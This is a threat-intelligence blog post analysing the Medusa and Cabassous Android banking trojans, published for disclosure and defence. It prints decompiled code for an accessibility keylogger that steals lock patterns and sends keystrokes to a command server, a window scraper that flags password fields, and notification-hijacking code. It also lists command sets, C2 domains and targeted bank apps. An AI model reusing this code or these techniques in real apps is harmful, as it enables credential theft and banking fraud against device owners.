

Partners-in-crime: Medusa and Cabassous attack banks side-by-side

Published: 2024-10-01 · Archived: 2026-04-06 00:17:33 UTC

Medusa: a marriage partner as gunslinger

The success of Cabassous' (aka Flubot) distribution campaigns, that have been "SMiShing" different regions all over the world for almost a year attracted the attention of another threat actor. Just like for Anatsa's campaigns [spotted by ThreatFabric](#) in May 2020, another powerful mobile banking Trojan, Medusa, is now being distributed through the same SMiShing service as Cabassous.

Our Threat Intelligence shows that Medusa followed Cabassous with exactly the same app names, package names and similar icons:

Keylogger

Medusa authors implemented a simple accessibility-based keylogging, allowing the bot to get access to UI events, such as clicks, text inputs and focus events of all application on the infected device. This feature allows the actors to collect much more than only user input, as it can also track actions performed on the UI and visualize the content shown in the applications. This enables the attackers to gain further insights into victim's behavior and grants them ability to steal credentials without having to resort to the use of phishing attacks.

The code powering the keylogger (including stealing the lock pattern) is visible in following snippet (simplified for understanding convenience):

```
try {
    logTimestamp = new SimpleDateFormat("MM/dd/yyyy, HH:mm:ss z", Locale.US).format(Calendar.getInstance().getTime());
    CharSequence packageName = accessibilityEvent.getPackageName();
    viewIdResourceName = "";
    logPackageName = packageName == null ? "" : accessibilityEvent.getPackageName().toString();
    worker.stealPattern(v17.getRootInActiveWindow());
} catch (Exception unused_ex) {}
try {
    logText = accessibilityEvent.getText().toString();
    viewIdResourceName = accessibilityEvent.getSource().getViewIdResourceName();
} catch (Exception unused_ex) {}
String logText = logText;
String viewIdResourceName = viewIdResourceName;
try {
    int eventType = accessibilityEvent.getEventType();
    if (eventType == 1) {
        logEventType = "click";
    }
    if (eventType == 8) {
        logEventType = "focus";
    }
    if (eventType == 16) {
```

```
        logEventType = "text";
    }
    if (eventType == 0x2000) {
        logEventType = "selchange";
    }
    v17.sendKeylog(logPackageName, logTimestamp, logEventType, logText, viewIdResourceName);
} catch (Exception unused_ex) {...public void stealPattern(AccessibilityNodeInfo arg13) {
    String text;
    if (arg13.getPackageName().equals("com.android.systemui")) {
        for (Object v0: arg13.findAccessibilityNodeInfosByViewId("com.android.systemui:id/lockPatternView")) {
            AccessibilityNodeInfo accessibilityNodeInfo = (AccessibilityNodeInfo) v0;
            JSONArray jsonArray = new JSONArray();
            int index;
            for (index = 0; index < accessibilityNodeInfo.getChildCount(); ++index) {
                if (!accessibilityNodeInfo.getChild(index).isClickable()) {
                    JSONObject logAccessibilityNodeInfo = new JSONObject();
                    Rect bounds = new Rect();
                    accessibilityNodeInfo.getChild(index).getBoundsInScreen(bounds);
                    try {
                        text = accessibilityNodeInfo.getChild(index).getText().toString();
                    } catch (Exception unused_ex) {
                        text = "";
                    }
                    try {
                        logAccessibilityNodeInfo.put("t", bounds.top);
                        logAccessibilityNodeInfo.put("l", bounds.left);
                        logAccessibilityNodeInfo.put("b", bounds.bottom);
                        logAccessibilityNodeInfo.put("r", bounds.right);
                        logAccessibilityNodeInfo.put("k", text);
                        jsonArray.put(logAccessibilityNodeInfo);
                    } catch (JSONException unused_ex) {}
                }
            }
            if (jsonArray.length() <= 0) {
                continue;
            }
            this.sendKeylog(accessibilityNodeInfo.getPackageName().toString(), "", "pattern", jsonArray.toString(), ""
        }
    }
}
```

Accessibility scripting

Authors of Medusa also implemented a simple but powerful scripting engine that is able to execute a sequence of commands on the infected device. Combined with the media streaming feature, this provides the attackers with limited but powerful RAT functionalities that allow them to interact with the infected device while monitoring them at the same time.

The list of available actions is shown hereunder:

Commands	Description
home_key	Performs HOME global action
ges	Executes a specified gesture on the screen of the device
fid_click	Clicks on the UI element with the specified ID
sleep	Sleeps (waits) for the specified number of microseconds
recent_key	Shows overview of the recent apps
scrshot_key	Performs TAKE_SCREENSHOT global action
notification_key	Opens the active notifications
lock_key	Locks the screen
back_key	Performs BACK global action
text_click	Clicks on the UI element that has specified text displayed
fill_text	Not implemented

Accessibility events logging

Another rather powerful feature of Medusa banking trojan is event logging. With a special command from C2 Medusa starts to recursively collect the information about the active window starting from the root node. Information of interest is such as but not limited to:

- node bounds in screen coordinates (position of elements in the UI),
- text of the node (the text inside an element),
- whether this node is categorized as password (if the element is a field of type “password”)

Having all the data collected the actor is able to get a better understanding of the interface of different applications and therefore implement relevant scenarios for accessibility scripting feature. Moreover, it allows actor(s) to have deeper insight on the applications the victim uses and their typical usage, while also allowing TA(s) to intercept some private data.

The following snippet shows the code that collects the information of active window going through its nodes:

```
public static JSONObject getInfoAboutNode(AccessibilityNodeInfo node, int arg7) {
    JSONObject jsonNodeInfo = new JSONObject();
    if (node == null) {
        return jsonNodeInfo;
    }
    try {
        ...
        if (node.getText() != null) {
            jsonNodeInfo.put("t", node.getText());
        }
    }
}
```

```
if (node.getContentDescription() != null) {
    jsonNodeInfo.put("cd", node.getText());
}
if (node.getViewIdResourceName() != null) {
    jsonNodeInfo.put("r", node.getViewIdResourceName());
}...
if (node.isPassword()) {
    jsonNodeInfo.put("pass", true);
}...
if (node.isVisibleToUser()) {
    jsonNodeInfo.put("vis", true);
}
if (node.getChildCount() > 0) {
    JSONArray jsonChildNodeInfo = new JSONArray();
    int childCounter = 0;
    while (childCounter < node.getChildCount()) {
        AccessibilityNodeInfo childNode = node.getChild(childCounter);
        ++childCounter;
        jsonChildNodeInfo.put(WorkerAccessibilityService.getInfoAboutNode(childNode, arg7 + 1));
    }
    jsonNodeInfo.put("chi", jsonChildNodeInfo);
}
}
catch (Exception unused_ex) {}
```

Threat actor & backend infrastructure

We have substantial evidence that indicates that the threat actor behind Medusa are from **Turkey**. In addition to the fact that the actor has spoken Turkish on underground forums, ThreatFabric analysts have collected IP's, browser details, and other threat intelligence to corroborate this initial hypothesis.

The panel used by actors to control Medusa is referred to as Ankatras. ThreatFabric analysts were able to retrieve the information about FLUDHL campaign, which **in only 24 days was able to infect 1784 devices**.

Medusa has multiple botnets. The samples seen in side-by-side campaigns with Cabassous are identified by the actors themselves with the tags FLUVOICE, FLUFLASH and FLUDHL (possibly as a reference to the corresponding Cabassous/Flubot campaigns). All these botnets use two separate C2 backends to manage bots. The first is the fronting C2, to which bots connect to, while the second is the actual bot operator panel, used by operators to manage their different botnets.

The most recent campaigns have more botnet tags as Medusa's TA seems to have once again switched to another region. The C2s remain the same, while the botnet tags are now "VIDEO", "CRICKET", "SIFIRIBNELIK" (translated from Turkish as "ZERO FAKE"), "PURO". Based on the application names and masquerade used, we believe these campaigns to target mostly users from USA, Canada and Turkey.

Every minute the malware sends the statistics to the C2 about the notifications received. As a response it might receive a template string that will be used to re-create an object of intercepted notification with updated parameters, thus allowing Cabassous authors to arbitrarily change notification content. The code snippet below shows the implementation of it in latest Cabassous samples:

```
public void onNotificationPosted(StatusBarNotification sbn) {
    super.onNotificationPosted(sbn);...String title = sbn.getNotification().extras.getString("android.title");
    String text = sbn.getNotification().extras.getString("android.text");
    String packageName = sbn.getPackageName();
    Long timeout = (Long) p91564b42.notificationsTimeLogger.get(packageName);...
    if (v2 != null && (p91564b42.notifResponse != null && !p91564b42.notifResponse.isEmpty())) {
        try {
            if (((long) timeout) == 0 L) {
                p91564b42.notificationsTimeLogger.put(packageName, Long.valueOf(System.currentTimeMillis()));
                Integer sent2package = (Integer) p91564b42.notificationsCounter.get(packageName);
                if (sent2package == null) {
                    sent2package = (int) 0;
                }
                p91564b42.notificationsCounter.put(packageName, Integer.valueOf(((int) sent2package) + 1));
                String appName = pd8474166.getAppName(this, packageName);
                String v8 = p91564b42.notifResponse.replaceAll("%APP%", appName);
                p91564b42.notifResponse = v8;
                String v8_1 = v8.replaceAll("%TITLE%", title);
                p91564b42.notifResponse = v8_1;
                p91564b42.notifResponse = v8_1.replaceAll("%TEXT%", text);
                v2.f(this.getApplicationContext(), p91564b42.notifResponse);
            } else if (System.currentTimeMillis() - ((long) timeout) > 2000 L) {
                p91564b42.notificationsTimeLogger.put(packageName, Long.valueOf(0 L));
            }
        } catch (PendingIntent.CanceledException v1) {}
    }
    if (p7e1b9eb1.isInterceptingNotif()) {
        p53cba4f5.sendToC2("LOG,NOTIF," + title + ": " + text, Boolean.valueOf(true));
        this.cancelNotification(sbn.getKey());
    }
}
```

We believe that this previously unseen capability can be used by actors to sign fraudulent transactions on victim's behalf, thus **making notifications non-reliable authentication/authorization factor on an infected device**. Another potential abuse of this functionality could be to respond to social applications notifications with malicious phishing links. Considering the popularity of these type of apps and the strong focus of Cabassous' TA on distribution tactics, this could easily be the main MO behind this new Notification Direct Reply Abuse.

Conclusion

More and more actors follow Cabassous' success in distribution tactics, appropriating masquerading techniques and using the same distribution service. Despite the fact that Medusa is not extremely widespread at the moment, we do see an increase in volume of campaigns and a sufficiently greater number of different campaigns.

At the same time, Cabassous keeps evolving, introducing new features and making another step towards being able to perform on-device fraud. This innovative feature (for banking malware) provides Cabassous' actors with improved control over intercepted notifications.

The evolution of malware families show that 2FA techniques might be not sufficient to ensure origin of transaction. It requires deeper TI in combination with a solution that is able to detect malicious behaviour on customers devices.

How we help our customers

ThreatFabric makes it easier than it has ever been to run a secure mobile payments business. With the most advanced threat intelligence for mobile banking, financial institutions can build a risk-based mobile security strategy and use this unique knowledge to detect fraud-by-malware on the mobile devices of customers in real-time.

Together with our customers and partners, we are building an easy-to-access information system to tackle the ever growing threat of mobile malware targeting the financial sector. We especially like to thank the Cyber Defence Alliance (CDA) and FS-ISAC for collaborating and proactively sharing knowledge and information across the financial sector to fight cyber-threats.

ThreatFabric has partnerships with TIPs all over the world.

If you want to request a free trial of our MTI-feed, or want to test our own MTI portal for 30 days, feel free to contact us at: sales@threatfabric.com

If you want more information on how we detect mobile malware on mobile devices, you can directly contact us at: info@threatfabric.com

Appendix: IOC

Medusa Samples

App name	Package name	SHA-256
Video Player	com.xwlbouply.dbhxzcsgw	fe3d38316dc38a4ec63eac80e34cb157c9d896460f9b7b3bfd2cec4e2cb8cdc
DHL	com.iqiyi.i18n	d83a06d5a41dd56b6cd3e9c3afef850ab07f176ae8f005759edb242daf7b9f38
Voicemail	com.qq.reader	e2db34355df77e3c95e291a1374e4ba6a75d0da471ab9f929b9ef3424f824421
Flash Player	com.thestore.main	75f1bebe19feba3914a7bbf95a8ce742cb709658c2105cf2ebe8cf7ef0c43f23
Amazon Locker	com.autonavi.minimap	b259fa47fc27728675a2629b98f8e4bb73c0b2216797a154f58c85f7578b3f4d

Medusa C2

C2
essesesssssss.top
sock.essesesssssss.top:20027

C2
nmnmnmfsamsfan.xyz
sock.nmnmnmfsamsfan.xyz:20027
unknknknknknknknknk.xyz
sock.unknknknknknknknknk.xyz:20027
pembesir.xyz
sock.pembesir.xyz:20027
asfsafsakjfkjsa.xyz
sock.asfsafsakjfkjsa.xyz:20027

Cabassous (Flubot) Samples

App name	Package name	SHA-256
DHL	com.tencent.mobileqq	df98a8b9f15f4c70505d7c8e0c74b12ea708c084fbbffd5c38424481ae37976f
Flash Player	com.tencent.mobileqq	2213a4d0a8d3752ce6edde18c2562478dc73c2c618842ca7b158282a0e525972
Amazon Locker	com.autonavi.minimap	b2dafc4faea81f4addf1ac3a295627e9f7e1d36efa2a8b82a813d853cfcf87c4
Voicemail	com.qiyi.video	a685fbedd05341f0da64b774142c48ba68193a2a68fa42b3341038c26057e7c

Cabassous C2

Domain
fpuacswjcgpcxoe[.]ru
ueihtnoujbedjiu[.]ru
umxkexskgtctvws[.]cn

Appendix: Targeted apps

Medusa.B Targets for Flu botnet tags

Please note that target differ per botnet, Flu botnet tag focus is US, ES, TR Medusa has its own tags for Canada, which contain Canadian banks as target.

Package Name	App Name
com.tecnocom.cajalaboral	Banca Móvil Laboral Kutxa
com.woodforest	Woodforest Mobile Banking
com.teb	CEPTETEB
com.suntrust.mobilebanking	SunTrust Mobile App
es.univia.unicajamovil	UnicajaMovil
es.cm.android	Bankia
com.ally.MobileBanking	Ally Mobile
com.tmobtech.halkbank	Halkbank Mobil
com.imaginbank.app	imaginBank - Your mobile bank
finansbank.enpara	Enpara.com Cep Şubesi
com.finansbank.mobile.cepsube	QNB Finansbank Mobile Banking
com.tdbank	TD Bank (US)
es.evobanco.bancamovil	EVO Banco móvil
es.liberbank.cajasturapp	Banca Digital Liberbank
com.schwab.mobile	Schwab Mobile
www.ingdirect.nativeframe	ING España. Banca Móvil
com.pozitron.iscep	İşCep - Mobile Banking
com.ziraat.ziraatmobil	Ziraat Mobile
com.citi.citimobile	Citi Mobile®
es.openbank.mobile	Openbank – banca móvil
bu.bir.test.uygulamasi	<i>TA testing app</i>
com.citizensbank.androidapp	Citizens Bank Mobile Banking
com.kuveytturk.mobil	Kuveyt Türk
com.clairmail.fth	Fifth Third Mobile Banking
com.rsi	ruralvía
es.ibercaja.ibercajaapp	Ibercaja
com.bankinter.empresas	Bankinter Empresas

Package Name	App Name
com.botw.mobilebanking	Bank of the West Mobile
com.denizbank.mobildeniz	MobilDeniz
com.magiclick.odeabank	Odeabank
org.ncsecu.mobile	SECU
com.infonow.bofa	Bank of America Mobile Banking
com.mcom.firstcitizens	First Citizens Mobile Banking
com.bmoharris.digital	BMO Digital Banking
com.zellepay.zelle	Zelle
com.vakifbank.mobile	VakıfBank Mobil Bankacılık
com.compassavingsbank.mobile	Compass Savings Bank
com.ykb.android	Yapı Kredi Mobile
com.morganstanley.clientmobile.prod	Morgan Stanley Wealth Mgmt
com.wf.wellsfargomobile	Wells Fargo Mobile
com.mfoundry.mb.android.mb_136	People's United Bank Mobile
tr.com.hsbc.hsbcturkey.uk	HSBC Turkiye
com.grupocajamar.wefferent	Grupo Cajamar
es.bancosantander.apps	Santander
com.key.android	KeyBank Mobile
com.navyfederal.android	Navy Federal Credit Union
com.mtb.mbanking.sc.retail.prod	M&T Mobile Banking
com.etrade.mobilepro.activity	E*TRADE: Invest. Trade. Save.
com.akbank.android.apps.akbank_direkt	Akbank
com.usaa.mobile.android.usaa	USAA Mobile
com.pnc.ecommerce.mobile	PNC Mobile
com.garanti.cepsubesi	Garanti BBVA Mobile
com.americanexpress.android.acctsvcs.us	Amex
com.ziraatkatilim.mobilebanking	Katılım Mobil

Package Name	App Name
com.bankinter.launcher	Bankinter Móvil
com.discoverfinancial.mobile	Discover Mobile
com.konylabs.capitalone	Capital One® Mobile
com.bbva.bbvacontigo	BBVA Spain
com.kutxabank.android	Kutxabank
es.lacaixa.mobile.android.newwapicon	CaixaBank

Cabassous.D Targets

Package Name	App Name
au.com.cua.mb	CUA Mobile Banking
au.com.bankwest.mobile	Bankwest
co.zip	Zip - Shop Now, Pay Later
org.bom.bank	Bank of Melbourne Mobile Banking
uk.co.tescomobile.android	Tesco Mobile
com.bankofqueensland.boq	BOQ Mobile
uk.co.tsb.newmobilebank	TSB Mobile Banking
com.coinbase.android	Coinbase – Buy & Sell Bitcoin. Crypto Wallet
org.stgeorge.bank	St.George Mobile Banking
uk.co.mbna.cardservices.android	MBNA - Card Services App
uk.co.santander.santanderUK	Santander Mobile Banking
com.adcb.bank	ADCB
com.grppl.android.shell.BOS	Bank of Scotland Mobile Banking: secure on the go
uk.co.hsbc.hsbcukmobilebanking	HSBC UK Mobile Banking
au.com.suncorp.SuncorpBank	Suncorp Bank
au.com.macquarie.banking	Macquarie Mobile Banking
com.binance.dev	Binance - Buy & Sell Bitcoin Securely
com.barclays.android.barclaysmobilebanking	Barclays
com.cbd.mobile	CBD

Package Name	App Name
com.fusion.banking	Bank Australia app
com.grppl.android.shell.CMBllloydsTSB73	Lloyds Bank Mobile Banking: by your side
com.vipera.ts.starter.MashreqAE	Mashreq UAE
org.banksa.bank	BankSA Mobile Banking
org.banking.bom.businessconnect	Bank of Melbourne Business App
au.com.newcastlepermanent	NPBS Mobile Banking
com.fusion.beyondbank	Beyond Bank Australia
au.com.nab.mobile	NAB Mobile Banking
com.rbs.mobile.android.natwest	NatWest Mobile Banking
com.commbank.netbank	CommBank
com.anz.android.gomoney	ANZ Australia
org.banking.stg.businessconnect	St.George Business App
com.virginmoney.cards	Virgin Money Credit Card
au.com.amp.myportfolio.android	My AMP
au.com.mebank.banking	ME Bank
enbd.mobilebanking	Emirates NBD
com.cooperativebank.bank	The Co-operative Bank
org.westpac.bank	Westpac Mobile Banking
com.rbs.mobile.android.rbs	Royal Bank of Scotland Mobile Banking
nz.co.kiwibank.mobile	Kiwibank Mobile Banking
tsb.mobilebanking	TSB Bank Mobile Banking
co.uk.Nationwide.Mobile	Nationwide Banking App
au.com.rams.RAMS	myRAMS
org.westpac.col	Westpac Corporate Mobile
com.grppl.android.shell.halifax	Halifax: the banking app that gives you extra
nz.co.asb.asbmobile	ASB Mobile Banking
au.com.commbank.commbiz.prod	CommBiz

Package Name	App Name
com.bendigobank.mobile	Bendigo Bank
org.banking.bsa.businessconnect	BankSA Business App
com.nearform.ptsb	permanent tsb
com.greater.Greater	Greater Bank
nz.co.anz.android.mobilebanking	ANZ goMoney New Zealand
uk.co.metrobankonline.mobile.android.production	Metro Bank
au.com.ubank.internetbanking	UBank Mobile Banking
com.anz.transactive.global	ANZ Transactive - Global
au.com.hsbc.hsbcaustralia	HSBC Australia
nz.co.westpac	Westpac One (NZ) Mobile Banking

Source: <https://www.threatfabric.com/blogs/partners-in-crime-medusa-cabassous.html>